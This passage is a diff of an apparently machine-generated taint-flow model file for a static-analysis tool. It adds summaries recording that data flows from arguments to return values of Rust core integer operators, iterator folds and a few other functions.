["lang:core", "<&i32 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i32 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i64 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i8 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&isize as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&mut _ as crate::borrow::Borrow>::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::borrow::BorrowMut>::borrow_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIterator>::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIterator>::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold", "Argument[1].ReturnValue", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -24,6 +207,7 @@ extensions: - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::nth", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&mut _ as crate::iter::traits::iterator::Iterator>::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold", "Argument[1].ReturnValue", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -34,6 +218,132 @@ extensions: - ["lang:core", "<&str as crate::str::pattern::Pattern>::as_utf8_pattern", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&str as crate::str::pattern::Pattern>::into_searcher", "Argument[0]", "ReturnValue.Field[crate::str::pattern::StrSearcher::haystack]", "value", "dfc-generated"] - ["lang:core", "<&str as crate::str::pattern::Pattern>::into_searcher", "Argument[self]", "ReturnValue.Field[crate::str::pattern::StrSearcher::needle]", "value", "dfc-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u128 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u16 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u32 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u64 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&u8 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<[_] as crate::convert::AsMut>::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<[_] as crate::convert::AsRef>::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<[_] as crate::slice::SlicePattern>::as_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -90,7 +400,6 @@ extensions: - ["lang:core", "<_ as crate::borrow::Borrow>::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::borrow::BorrowMut>::borrow_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::clone::uninit::CopySpec>::clone_one", "Argument[0].Reference", "Argument[1].Reference", "value", "dfc-generated"] - - ["lang:core", "<_ as crate::clone::uninit::CopySpec>::clone_one", "Argument[0]", "Argument[1].Reference", "value", "dfc-generated"] - ["lang:core", "<_ as crate::convert::From>::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::future::into_future::IntoFuture>::into_future", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::iter::adapters::step_by::SpecRangeSetup>::setup", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -99,10 +408,14 @@ extensions: - ["lang:core", "<_ as crate::str::pattern::MultiCharEq>::matches", "Argument[0]", "Argument[self].Reference.Parameter[0]", "value", "dfc-generated"] - ["lang:core", "<_ as crate::str::pattern::MultiCharEq>::matches", "Argument[self].Reference.ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::clamp", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clamp", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clamp", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::max", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::max", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::min", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::min", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::disjoint_bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::disjoint_bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -118,6 +431,7 @@ extensions: - ["lang:core", "::then_some", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_utf8_pattern", "Argument[self].Reference", 